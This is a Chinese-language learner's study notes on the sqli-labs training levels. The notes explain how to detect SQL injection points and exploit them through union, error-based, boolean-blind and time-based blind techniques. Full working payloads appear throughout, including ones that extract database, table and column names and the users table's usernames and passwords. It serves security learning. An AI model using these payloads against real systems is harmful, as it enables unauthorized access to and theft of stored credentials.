学习过程中的简单总结
用联合查询有回显
首先是and判断和or判断(or跟and判断方法不一样的,and是提交返回错误才有注入点,而or是提交返回正确有注入点)
?id=1'and 1=1如果前面是对的后面条件永远都是真的,会返回正常页
而?id=1' or 1=1恒为真
?id=1'and 1=2报错或者未显示数据 说明存在注入漏洞
加减号数字判断(返回的页面和前面的页面相同,加上-1,返回错误页面,则也表示存在注入漏洞) /?id=10-1
Less-1
?id=1' 页面不正常,可能是sql字符注入,此时在后面加上--+注释掉语句
Less-2
?id=1'--+ 错误 ?id=1')--+错误 判断为整型注入,可直接用/?id=1--+注入
Less-3
?id=1'--+ 错误 ?id=1')--+ 页面正常,判断出为 ')闭合, 用 ')和--+注释来进行注入,页面显示正常说明sql语句为id='$id'(基于单引号闭合的字符型注入)
Less-4
同理用'')和--+注释来进行注入(基于双引号闭合的字符型注入)
以上都是找注入点
找到注入点后开始注入:
利用order by来获得列数(例:发现?id=1' order by 3--+页面正常,/?id=1' order by 4--+页面报错,所以有三列)
将id改为一个数据库不存在的id值,使用union select 1,2,3联合查询语句查看页面是否有显示位,发现页面先输出了2和3,说明页面有2个显示位
然后利用sql查询语句依次爆出数据库内的数据库名,表名,列名,字段信息
爆库(查询所有数据库)?id=0' union select 1,(select group_concat(schema_name) from information_schema.schemata),3--+
爆表(查询出security数据库中所有的数据表名)?id=0' union select 1,(select group_concat(schema_name) from information_schema.schemata),(select group_concat(table_name) from information_schema.tables where table_schema='security')--+
爆列(查询security数据库中的users数据表中的列名)?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'--+
爆字段(查询users数据表的数据即里面所有的用户名和密码)?id=0' union select 1,(select group_concat(username) from security.users),(select group_concat(password) from security.users)--+
group_concat函数:将group by产生的同一个分组中的值连接起来,返回一个字符串结果
用联合查询无回显(用盲注)
(这种情况下id值需是存在的值)
Less-5
输入 ?id=2' 查看是否有注入 然后用order by查看列 这里就要用到新的注入方法了:
报错注入
的一种“floor报错注入”,其语句为 and (select 1 from (select count(*),concat((payload),floor (rand(0)*2))x from information_schema.tables group by x)a) payload即我们要输入的sql查询语句 该语句输出字符长度限制为64个字符
?id=2' and (select 1 from (select count(*),concat(((select group_concat(schema_name) from information_schema.schemata)),floor (rand(0)*2))x from information_schema.tables group by x)a) --+
这里发现页面提示输出信息超过一行,但我们已经使用了group_concat函数,说明这里数据库名组成的字符串长度超过了64位,所以我们需要放弃group_concat函数使用limit 0,1来一个个输出group_concat()函数的作用
第一位0表示id从几开始(0是id为1,依次相加),第二位1表示一次输出几列(1表示输出一个,2就表示输出两个)
例:limit 0,2 是id为1和2的两列数据; limit 3,1 是id为4的第一列数据
接着我们运用如下语句:and (select 1 from (select count(*),concat(((select schema_name from information_schema.schemata limit 0,1)),floor (rand(0)*2))x from information_schema.tables group by x)a) --+
在输出信息之后页面会额外输出一个1,这个1是floor报错语句中输出的一部分(无论输出什么结果,都会有这个1) 接着更改payload,一个个的查询我们要找的数据即可
布尔盲注
正确和错误时页面的回显不同,和报错型payload核心部分的构造相同 并且此方法要熟知或参考ASCII值
substr()函数:是VFP字符函数的一种,表示的是字符型函数,格式是:substr(<字符表达式>、<数值表达式1>[,<数值表达式2>](a,b,c)
其中,"字符表达式"是指定要从其中返回字符串的字符表达式或备注字段;"数值表达式1"用于指定返回的字符串在字符表达式或备注字段中的位置,"数值表达式2"用于指定返回的字符数目,缺省时返回字符表达式的值结束前的全部字符
例:store'abcdefghijklm' to mystring,substr(mystring ,0,5) 显示 "abcde";
?id=1' and (ascii(substr((select database()),1,1)))=115 --+)此步是判断数据库首位是否为's'对应的ASCII值115,然后改变(,b,)的b值和等号后面的值如?id=1' and (ascii(substr((select database()) ,2,1)))=101 --+可得数据库名为security
或改变payload用二分法一步一步猜解ASCII值得所求数据对应字符串大于小于或等于均可?id=1' and ascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1))<100--+
先判断表长后再进行盲注?id=1' and (length((select table_name from information_schema.tables where table_schema=database() limit 3,1)))=5 --+
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1))<150--+
?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 1,1),1,1))>100--+
?id=1' and ascii(substr((select username from security.users limit 0,1)1,1))>1--+
Less-6
与第5关类似,只不过这一关使用的是""的方式闭合字符串,只需要将?id=2' 改为 ?id=2"即可,其余过程请参考第五关
Less-8
?id=2' --+ 页面回显正常,不再说了,是单引号字符型注入
所以就尝试了下布尔盲注是可以的,过程请参考第五关
Less-9
时间延迟型盲注
正确会延迟,错误没有延迟 发现明显延迟,说明猜测正确
时间延迟型和报错型payload核心部分的构造相同
left(,n)函数:函数执行成功时返回字符串从左起的n个字符,发生错误时返回空字符串(""),为空则返回NULL。如果n的值大于字符串的长度,那么将返回整个字符串,但并不增加其它字符。
if函数:if(条件,A,B)如果条件为 true,执行A,否则执行B
爆库长?id=1' and if(length(database())=8,sleep(3),1)--+ 明显延迟,所以数据库长度为8
爆库名?id=1' and if(left(database(),1)='s',sleep(3),1)--+明显延迟,所以数据库第一个字符为s,接下来依次增加(left(database(),字符长度)中的字符长度,等号右边字符串也依次爆破下一个字符,正确匹配时会延迟。最终爆破得到left(database(),8)='security'
爆表名?id=1' and if(left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' ,sleep(3),1)--+
修改limit x,1 可以遍历表名,终于在limit 3,1 爆破出表名为users并猜测它存放username和password.
爆列名?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password' ,sleep(3),1)--+
修改limit x,1 中的x来遍历列名查询password是否存在表中,在limit 5,1的时候查到了password列,同样的方法查询username,接下来爆破字段的值。
爆破值
?id=1' and if(left((select password from users order by id limit 0,1),4)='dumb' ,sleep(3),1)--+
?id=1' and if(left((select username from users order by id limit 0,1),4)='dumb' ,sleep(3),1)--+
Less-10
是基于双引号的时间盲注
与第九关几乎无差 过程不再重复